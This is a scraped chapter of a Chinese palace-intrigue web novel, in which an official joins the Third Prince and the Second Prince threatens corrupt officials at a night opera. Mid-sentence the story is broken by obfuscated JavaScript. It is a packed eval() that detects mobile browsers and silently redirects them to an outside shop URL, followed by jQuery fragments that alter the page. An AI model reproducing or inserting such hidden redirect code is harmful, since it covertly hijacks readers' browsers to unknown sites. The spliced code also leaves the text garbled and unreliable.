47.听戏

作品:《敛骨吹

    薄屹寒道:“今日本王成全你,给你个选择。若不是本王今日替你受了二十棍,你真以为你能从禁卫司毫发无损的出来吗?你真以为太子能这样饶过你?你可以重拟罪状,也可以现在就了结了你自己,你也最好这么做,让本王看看你顾原,到底多有骨气!”


    顾原嘴角一撇,眼泪就这么流下来,他挣扎去够那匕首,“你,你不要逼我!”


    薄砚尘怕他真就这么死了,想去阻拦,可身边的薄屹寒却在桌下拦下他的手,面上无常:“你想走的这条路,必死。本王不拦你,本王就问你一句,今年春闱你写的文章被天下文人诵读,你自己还记得多少?”


    顾原就这么无力的闭眼。


    他怎会忘记,怎会忘记。


    春闱的考题是:以“大学之道,在明明德,在亲民,在止于至善”为题,展开论述。


    顾原一篇文章洋洋洒洒写了几万字,从成人之学,如何能成为品德高尚,能担大任的君子,到修身齐家,入仕为官,平天下之大不平,再到去除私欲,亲人爱民,家国情谊大于一切。


    这篇文章,自问世以来广为流传,四海皆传诵。天下文人苦读诗书,有多少“牛壮”一生壮志难酬,庸庸碌碌,错付一生。


    又能有几个顾原,熬出了头,站在官场,为民生发愿。


    那个拿着全部家当,带着全村人希望的书生此刻仿佛真实的出现在顾原的眼前,他的破衣与其他富家子弟相比显得那么的不得体,可他信步走入考院,写下了这篇流传千古的文章。


    可是他所想的官场和他所入的官场,简直是云泥之别。若不是龙椅之上的人授意,谁又敢去改奏折呢。


    就算他真的重拟罪证,那修改奏折的人也大概是那位死了的内阁长史王琦吧。


    匕首落地,顾原仿佛被抽去了一丝魂灵,重重的跌在椅子上。他拿过写着自己名字的那个信封,抬起头看了看薄屹寒,又看了看薄砚尘。


    颤着声音道:“拿了这信封,我……我就是三殿下门客了。是吗?”


    薄屹寒静静地看着他,“其实在禁卫司,顾大人就应该明白,能实现你顾大人抱负的,只此一条路可走。”


    不知道过了多久,顾原的声音再次响起,这次不像刚才那般颓废,而是染上了几分希望,“安国以后,还能有千千万万个长安吗?”


    “安国有顾大人,有诸位,怎能只一座长安城?”


    顾原拿着信,放在胸口,眼神缓缓变得坚定。


    “下官身无长物,唯有一颗赤诚之心,愿附三殿下身侧,略尽绵薄,共图大业。”


    谢安与周回对视,站起来重复了一遍顾原的话。


    ......不是。


    他们第一天来大理寺就成了三殿下的人了?


    三殿下不是出身不好身体不好不受宠的废物皇子吗?可今日看了,哪有一点废物样子,分明就是个眼明心净的公子模样。


    薄砚尘道:“坐。”


    刘远山对他们表忠心不感兴趣。他继续道:“除了名单上的官员,陆家还有一人比较麻烦。那人是陆丞相之女陆岁宁。她是陆丞相亡妻之女,也算是陆家嫡女。几年前南夏刺客刺杀太后,是陆岁宁替太后挡下一刀,这次要了她半条命去。后来陛下下旨赐她免死金牌,若按照律法,这陆家无论男女皆要被斩杀,可这陆岁宁却有陛下大赦。”


    周回说出自己的想法,“一人之罪,何故连累后代,陆姑娘得此金牌想必是命中能躲过这一劫。”


    谢安道:“这陆姑娘真是好运气。”


    顾原抿了抿唇,开口道:“陆家的人现在都在大理寺天牢里,不过这位陆姑娘是个刚烈的性子,我曾几次派人劝说,她都不肯出狱,坚持要和陆家人同生共死。”


    周回道:“她是罪臣之女,纵然有免死金牌活了下来,却也不能离开京城须得在朝廷监管之下。下官等皆是男人,恐有不便。”


    薄屹寒哦了声,瘫在软椅上,“这事不着急,本王来安排。”


    ———


    那日从王府走了之后,龚今良做了好几日的噩梦,称病在府里修养。


    然后就听说了几件大事。


    第一件,战王被封为镇国公。


    第二件,王琦死了。


    第三件,顾原被放出来,陆家的案子重启。


    这三件,哪一件都冲着二皇子来的。好死不死,二皇子派人来传,说是请他去府上听戏。


    听戏!


    这种时候,听的什么戏?鸿门戏吗?


    这个时候和二皇子扯上关系,那算不得什么好事。


    虽然惶恐,但是又不能不去。


    好在听戏是在晚上,他把自己穿了个严实,三尺以外,别人是绝对看不出来这是龚大人的。


    二皇子府建在城北山脚下,是距离闹市最远的一座府邸。平日人就不多,这大晚上的,门口挂着两盏灯笼,无人值守,实在骇人。


    他对小厮说:“若是两个时辰本官还没出来,就去战王府传个信。”


    小厮愣了一下,应声道:“知道了家主。”


    “龚大人。”


    听见呼唤,龚今良抬头,只见姜满立于门内,正等着他进去。


    “王爷估摸着时辰快到了,唤令栀来迎您。”


    “哦。”龚今良不知道自己刚才那句跟小厮的话,这姑娘听见了没有,他没再说什么,抬脚往前走。


    到了前院,龚今良有些怔愣,薄延还真搭了个戏台子在高处,正有几个下人做着最后的调试。台子下,高亭中摆了一桌精致的酒席,自己算是到的晚的,基本上都坐满了。


    行过礼,龚今良落座。


    薄延坐在主座,天色阴暗,看不清表情,只听他道:“令栀,给龚大人倒酒。”


    龚今良知道姜满是薄延的红颜知己,给自己倒酒多少有点不合适。姜满顺从的站起,端着琉光酒壶款款而来,笑的温柔,“龚大人。”


    “这,有劳姑娘了。”


    姜满的袖子宽大,她小心地端着酒壶,往龚今良面前的杯中倒酒。一阵风吹来,龚今良吸了吸鼻子,忽然闻到一股栀子花的味道。这味道很熟悉,仿佛不久前刚闻到过。


    “龚大人慢用。”


    龚今良呼吸急促,对上姜满那双黑到发绿的眸子,心里如打鼓一般。


    薄延端起酒杯,席上其他人也纷纷站起


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857037|188520||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,等着二皇子说些什么,可他什么都没说只是把杯中酒一饮而尽。


    几人纷纷互看,也喝完了酒重新落座。


    薄延道:“看戏吧。”


    这戏新颖,姜满前一世也听过不少戏,可这出是没见过的。


    大抵讲的是一个财主,有五个儿子,每个儿子各有多长,可财主偏偏就喜欢嫡出的那个,无论其他四个怎么努力,也入不了父亲的法眼。于是四个儿子联合把嫡出子给杀了,他们四个互相捏着对方把柄,谁也不让谁,最后自相残杀,全部殒命的故事。


    戏不长,也就唱了不到一个时辰。这种民间的戏本子,长安也就是那些街角搭了棚子求着过路人赏钱的戏班子会唱。皇室听戏一般都是听得武松打虎、霸王别姬这种,姜满越瞧着越不对劲。


    戏曲落幕,她目光转到薄延身上。


    这人莫不是疯了?


    戏唱完了,高台上的戏子退下,换成了个弹琴的男人,这男人白丝遮面,梳着高马尾,一身月牙白袍,坐在高台之上。


    高亭周围的烛火也多点了些,一下子明亮了起来。


    薄延又端了杯酒,淡淡一笑,道:“这个时候,诸位光临,本宫心甚慰。”


    无人敢吭声。


    “想必大家也听了,顾少卿放出来了,陆家的案子重启。本宫八岁时拜了陆相为师,没有老师,就没我薄子延今日,可今日陆家深陷大案,本宫却束手无措,今日这杯酒,有本宫的愧,有对老师的恩,高台琴声潺潺,本宫先送送老师。”


    他端起酒,随手泼在地上,沾湿了姜满的裙摆。姜满默不作声退了退。


    “老师犯了错,贪了银子,父皇想处置,文武百官想看热闹,本宫觉得都没有错,天子犯法还与庶民同罪呢!龚大人,你说是不是?”


    龚今良吓得一激灵,连忙道:“殿下所言极是。”


    “对嘛......可是本宫就不明白了,”薄延把酒杯放在桌上,眼睛瞥了一圈,问:“在座的,谁没贪过?”


    满座的“呼啦”全站了起来,跪在桌子两侧,“臣等惶恐。”


    “惶恐什么?嗯?本宫就问,谁没贪过?”薄延站起来,从袖口抽出来一把长尖刀,烛火照应下闪着诡异的银光,“本宫是不是该,把你们的脑袋一个个都砍下来,给父皇一个交代,给满朝文武一个交代!”


    姜满跪在地上,默默地又往后挪了挪。


    “齐大人,元景二十八年,边关大战,需要一批新弓箭,你在兵部负责此事,从中获利多少!你还说的出来吗?”


    齐大人把头埋的更低了。


    “龚大人,湖州粮草转运,你与湖州刺史串通,从中收了百姓多少高额税收,你有数吗?”


    龚今良不敢说话。


    “这长安的天!是一天就黑成这样的吗?”薄延突然大笑,举着刀站到院子里,手指着天,“从本宫入世以来,从上到下!每个人都是这么做事的!怎么你们这些腌臜东西好好活着,单单本宫的老师被查,要被诛九族!本宫不服!”他双眼猩红,仿佛要吃人一般。


    姜满抬头看他,只见薄延突然高呼,“他张家,难道就干干净净!清清白白!?”